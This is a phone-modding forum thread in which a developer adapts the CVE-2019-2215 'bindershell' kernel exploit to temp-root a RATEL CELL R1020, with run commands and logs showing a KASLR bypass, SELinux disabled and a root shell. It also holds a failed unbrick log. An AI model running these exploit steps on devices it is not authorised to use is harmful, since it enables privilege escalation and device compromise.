Can I ask a question. A HOW TO exactly would be awesome. Ok I have Sm-N950U running 7.1.1 you know with the 80% only battery. All runs great. Its the Snapdragon version. HOW can I get it back to before I got it this way. Before I did all this it had.. I forget V6..somthing.
Or can you point me to somewhere that really explains this. Getting it to 7.1.1 seem easy vs now trying to get it back.
Thanks

Hi @BigCountry907, i used your method n950u2 with QFIL on my n950w (N950WVLS7DTA1) by enter EDL mode, but got no luck.
Below is the log of QFIL:
Binary build date: Oct 31 2016 @ 22:51:05
QSAHARASERVER CALLED LIKE THIS: 'C:\Program Files (x86)\Qualcomm\QPST\bin\QSaharaServer.ex'Current working dir: C:\Users\KN\AppData\Roaming\Qualcomm\QFIL\COMPORT_6
Sahara mappings:
2: amss.mbn
6: apps.mbn
8: dsp1.mbn
10: dbl.mbn
11: osbl.mbn
12: dsp2.mbn
16: efs1.mbn
17: efs2.mbn
20: efs3.mbn
21: sbl1.mbn
22: sbl2.mbn
23: rpm.mbn
25: tz.mbn
28: dsp3.mbn
29: acdb.mbn
30: wdt.mbn
31: mba.mbn
13: C:\temp\n950w\UnbrickQC-9008\N950U2\prog_ufs_firehose_8998_ddr.elf
21:19:39: ERROR: function: sahara_rx_data:237 Unable to read packet header. Only read 0 bytes.
21:19:39: ERROR: function: sahara_main:924 Sahara protocol error
21:19:39: ERROR: function: main:303 Uploading Image using Sahara protocol failed
Download Fail:Sahara Fail:QSaharaServer Failrocess fail
Finish Download
I also tried with eMMC Dongle app but no luck also.
Loading GUID Partition Table
EMPTY SKIPPING
=> it's mean the main partition is corrupted
Would you mind help me by teaching me the correct way to booting from sdcard then repartition the main Qualcomm’s memory?
The problem of brick: i messed up the Qualcomm’s partition while playing around with "boot.img dqmdbg.img.ext4 storsec.mbn msadp.mbn apdp.mbn sec.dat recovery.img NON-HLOS.bin xbl.elf tz.mbn abl.elf bksecapp.mbn keymaster.mbn cmnlib64.mbn rpm.mbn hyp.mbn cmnlib.mbn devcfg.mbn pmic.elf adspso.bin modem.bin" then flash with Oddin via BL slot.
Many thanks and best regards!

[help] ratel cell r1020 rooting

Hello,
I have a device called RATEL CELL R1020 with OS android 8.0 oreo.
I tried some applications for rooting this smartphone like kingroot, kingoroot, etc but failed. This device can't unlock bootloader, so I see rooting with exploit in youtube like thomasking. Please anyone here help me to rooting my smartphone?
4.4.78perf+ kernel
this attachment is screenshot of the system
Thankyou

j4nn said:
@arifincaesar, do you have your phone's firmware in a downloadable form? Can you obtain linux kernel source code for your phone?
I could imagine adapting this (exploit source code here) for your phone, but the kernel binary that is running on the phone is a must pre-requisite. Obviously it would be only a temp root.
Click to expand...
Click to collapse
arifincaesar said:
there is no way to get firmware of this phone sir..
and there's no way to unlock bootloader..
i think the only way to backup firmware this device is exploit and getting root access without ubl..
there is just said 4.4.78-perf+
Click to expand...
Click to collapse
In my opinion, there is no exploit that would not need offsets within kernel image in advance.
Because of that you need a copy of kernel binary that is running on the phone.
Obviously it is not possible to back up kernel partition from the phone, so you would need the original fw (the same version that is running on the phone) and a way to extract the kernel from the fw package.
Without that you are out of luck, sorry...
Since there is linux kernel running on the phone (android uses linux kernel) you have legal options to request corresponding kernel source code, because linux kernel is distributed under gpl license.
But even if you obtained the kernel source, you would still need the binary, because most likely the new build from source would not be binary identical. The source code would just make it easy to decide which exploit could work, so it would make sense to adapt it for the kernel binary.

j4nn said:
In my opinion, there is no exploit that would not need offsets within kernel image in advance.
Because of that you need a copy of kernel binary that is running on the phone.
Obviously it is not possible to back up kernel partition from the phone, so you would need the original fw (the same version that is running on the phone) and a way to extract the kernel from the fw package.
Without that you are out of luck, sorry...
Since there is linux kernel running on the phone (android uses linux kernel) you have legal options to request corresponding kernel source code, because linux kernel is distributed under gpl license.
But even if you obtained the kernel source, you would still need the binary, because most likely the new build from source would not be binary identical. The source code would just make it easy to decide which exploit could work, so it would make sense to adapt it for the kernel binary.
Click to expand...
Click to collapse
is that bug when i had activated oem unlock in dev options but cannot unlock with fastboot mode?

j4nn said:
In my opinion, there is no exploit that would not need offsets within kernel image in advance.
Because of that you need a copy of kernel binary that is running on the phone.
Obviously it is not possible to back up kernel partition from the phone, so you would need the original fw (the same version that is running on the phone) and a way to extract the kernel from the fw package.
Without that you are out of luck, sorry...
Since there is linux kernel running on the phone (android uses linux kernel) you have legal options to request corresponding kernel source code, because linux kernel is distributed under gpl license.
But even if you obtained the kernel source, you would still need the binary, because most likely the new build from source would not be binary identical. The source code would just make it easy to decide which exploit could work, so it would make sense to adapt it for the kernel binary.
Click to expand...
Click to collapse
can you help me please?

arifincaesar said:
can you help me please?
Click to expand...
Click to collapse
Interesting. Getting kernel space R/W primitives is a nice first step.
But without kernel binary, that still may be difficult - with kernel 4.4.78 version, KASLR would be there for sure.

j4nn said:
Interesting. Getting kernel space R/W primitives is a nice first step.
But without kernel binary, that still may be difficult - with kernel 4.4.78 version, KASLR would be there for sure.
Click to expand...
Click to collapse
hehe i keep watching your work for exploit sir
if there something new exploit i'll try to my phone
thx before

@arifincaesar, try this please:
Code:
cd /data/local/tmp
echo -e '#!/system/bin/sh\ncase "$1" in\n*model) echo G8441 ;;*) echo 47.1.A.8.49 ;;esac' > getprop
chmod 755 getprop
PATH=`pwd`:$PATH ./bindershell
That should try the offsets defined for xz1c. It's a blind try, but let's see.
Please post the log in a text form (copy it via clipboard from the terminal), using the CODE tags in the message (can be used with the # icon in advanced post).

Code:
cd /data/local/tmp
echo -e '#!/system/bin/sh\ncase "$1" in\n*model) echo G8441 ;;*) echo 47.1.A.8.49 ;;esac' > getprop
chmod 755 getprop
PATH=`pwd`:$PATH ./bindershell
i can't believe, it work bro i swear :v
is that my phone rooted?

nope i think my phone is not rooted yet..
i check from root checker it say "sorry root access is not properly installed on this device."

@j4nn heres the output
bindershell - temp root shell for xperia XZ1c/XZ1/XZp using CVE-2019-2215
https://github.com/j4nn/renoshell/tree/CVE-2019-2215
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: Reading leaked data
PARENT: leaking successful
MAIN: thread_info should be in stack
MAIN: parsing kernel stack to find thread_info
PARENT: Reading leaked data
PARENT: Reading extra leaked data
PARENT: leaking successful
MAIN: task_struct_ptr = ffffffcfe0d68000
MAIN: thread_info_ptr = ffffffd04aa3c000
MAIN: Clobbering addr_limit
MAIN: should have stable kernel R/W now
kernel slide invalid (0x4ffabc7b50)
kaslr slide 0x0
selinux set to permissive
current task credentials patched
got root, start shell...
Cell:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
Cell:/data/local/tmp # cd
Cell:/ # ls
ls: ./cache: Permission denied
ls: ./init: Permission denied
ls: ./init.environ.rc: Permission denied
ls: ./init.rc: Permission denied
ls: ./init.recovery.qcom.rc: Permission denied
ls: ./init.usb.configfs.rc: Permission denied
ls: ./init.usb.rc: Permission denied
ls: ./init.zygote32.rc: Permission denied
ls: ./init.zygote64_32.rc: Permission denied
ls: ./postinstall: Permission denied
ls: ./ueventd.rc: Permission denied
ls: ./verity_key: Permission denied
acct bt_firmware bugreports charger config d data default.prop dev dsp etc firmware lost+found mnt oem persist proc res root sbin sdcard storage sys system vendor
1|Cell:/ #

@arifincaesar, well, as expected, detecting KASLR slide failed, therefore selinux could not be disabled and security context has not been patched either.
Without a kernel binary, it is difficult to implement a full temp root exploit.
I guess it could be doable, unfortunately I do not have the time for it.

j4nn said:
@arifincaesar, well, as expected, detecting KASLR slide failed, therefore selinux could not be disabled and security context has not been patched either.
Without a kernel binary, it is difficult to implement a full temp root exploit.
I guess it could be doable, unfortunately I do not have the time for it.
Click to expand...
Click to collapse
hehe thanks for information sir..

@arifincaesar, see PM please...

j4nn said:
@arifincaesar, see PM please...
Click to expand...
Click to collapse
ok sir, thank you very much for helping me.. T_T
pm sent

cve-2019-2215 based temp root exploit for ratel cell r1020
Here is a temp root exploit tailored specifically for RATEL CELL r1020 phone as described in the OP (Android 8.0 with security patch level of January 5, 2018). The exploit uses CVE-2019-2215, which can get you a temporal root shell very quickly and reliably (it's nearly instant).
Unfortunately RATEL CELL r1020 firmware is not publicly available, so it had not been possible to get a kernel image for analysis.
Luckily the first stage of the exploit designed for sony xperia xz1/xz1/xz1c worked, providing kernel space R/W primitives.
Eventually kernel memory dump has been retrieved (after KASLR bypass done in a generic way), so implementation of the final stage to bypass selinux and patch credentials to get root could be done.
Please find the result of my work attached here, it obviously is not tested as I do not have that phone, but I assume it would work as using similarly calculated stuff worked with my xz1c phone.
Please see the xperia phones exploit here for usage howto, including possibility to setup magisk from the exploit (modified script without sony specific stuff is already included). Just download the Magisk-v19.3-Manager-v7.1.2.zip from the linked post and use together with stuff from ratel-cell-temp-root.zip attached here.
EDIT: Updated ratel cell temp root with v2, supposed to work also with ratel cell having May 1, 2018 security patch level.
Please post the log (in [ CODE ] tags) and/or screenshots from your testing, possibly including even magisk setup, if bindershell exploit worked.
If you like my work, you can donate to me via paypal (including card payment) or bitcoin - for details just follow the "Donate to Me" button please. Thank you.

Thread closed per OP request.

MOD ACTION:
Thread reopened per OP's request

j4nn said:
Here is a temp root exploit tailored specifically for RATEL CELL r1020 phone as described in the OP (Android 8.0 with security patch level of January 5, 2018). The exploit uses CVE-2019-2215, which can get you a temporal root shell very quickly and reliably (it's nearly instant).
Unfortunately RATEL CELL r1020 firmware is not publicly available, so it had not been possible to get a kernel image for analysis.
Luckily the first stage of the exploit designed for sony xperia xz1/xz1/xz1c worked, providing kernel space R/W primitives.
Eventually kernel memory dump has been retrieved (after KASLR bypass done in a generic way), so implementation of the final stage to bypass selinux and patch credentials to get root could be done.
Please find the result of my work attached here, it obviously is not tested as I do not have that phone, but I assume it would work as using similarly calculated stuff worked with my xz1c phone.
Please see the xperia phones exploit here for usage howto, including possibility to setup magisk from the exploit (modified script without sony specific stuff is already included). Just download the Magisk-v19.3-Manager-v7.1.2.zip from the linked post and use together with stuff from ratel-cell-temp-root.zip attached here.
Please post the log (in [ CODE ] tags) and/or screenshots from your testing, possibly including even magisk setup, if bindershell exploit worked.
Click to expand...
Click to collapse
yes, it work sir thank you so much here is the log
but i think there other problem i will posting it later here
Code:
Cell:/data/local/tmp $ ./bindershellnew
bindershell - temp root shell using CVE-2019-2215, tailored for RATEL CELL R1020
https://github.com/j4nn/renoshell/tree/CVE-2019-2215
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: Reading leaked data
PARENT: leaking successful
MAIN: thread_info should be in stack
MAIN: parsing kernel stack to find thread_info
PARENT: Reading leaked data
PARENT: Reading extra leaked data
PARENT: leaking successful
MAIN: task_struct_ptr = ffffffd4316e9b00
MAIN: thread_info_ptr = ffffffd471268000
MAIN: Clobbering addr_limit
MAIN: should have stable kernel R/W now
attempting kaslr bypass: leaked ptr 0xffffff8a82608658
kernel base=0xffffff8a81480000 slide=0xa79400000
selinux set to permissive
current task credentials patched
got root, start shell...
Cell:/data/local/tmp # getenforce
Permissive
Cell:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:toolbox:s0
Cell:/data/local/tmp # uname -a
Linux localhost 4.4.78-perf+ #1 SMP PREEMPT Tue Mar 6 11:00:11 CST 2018 aarch64
Cell:/data/local/tmp #

Hi there sir @j4nn .
I'm yusuv, ratel cell user. I've been following this thread.
And lately seems the exploit works as intended.
The things is, ratel cell not only have the January patch on all the devices. I've tried the exploit and its stuck on the build number prop and it won't go any further.
Afaik, ratel have 2 ROM builds, one patch is January which is you build the exploit for, the other one is May 1, 2018 patch. With also different build number.
On behalf Ratel Cell user with the may patch. I'm here to ask you, is there any way for us with the May patch being able to root our device?
Thanks in advance.

Dear sir @j4nn.
can you help us on how to install custom recovery in Ratel Cell, if you are willing to help, we will be very grateful.

Better Mobile App

welcome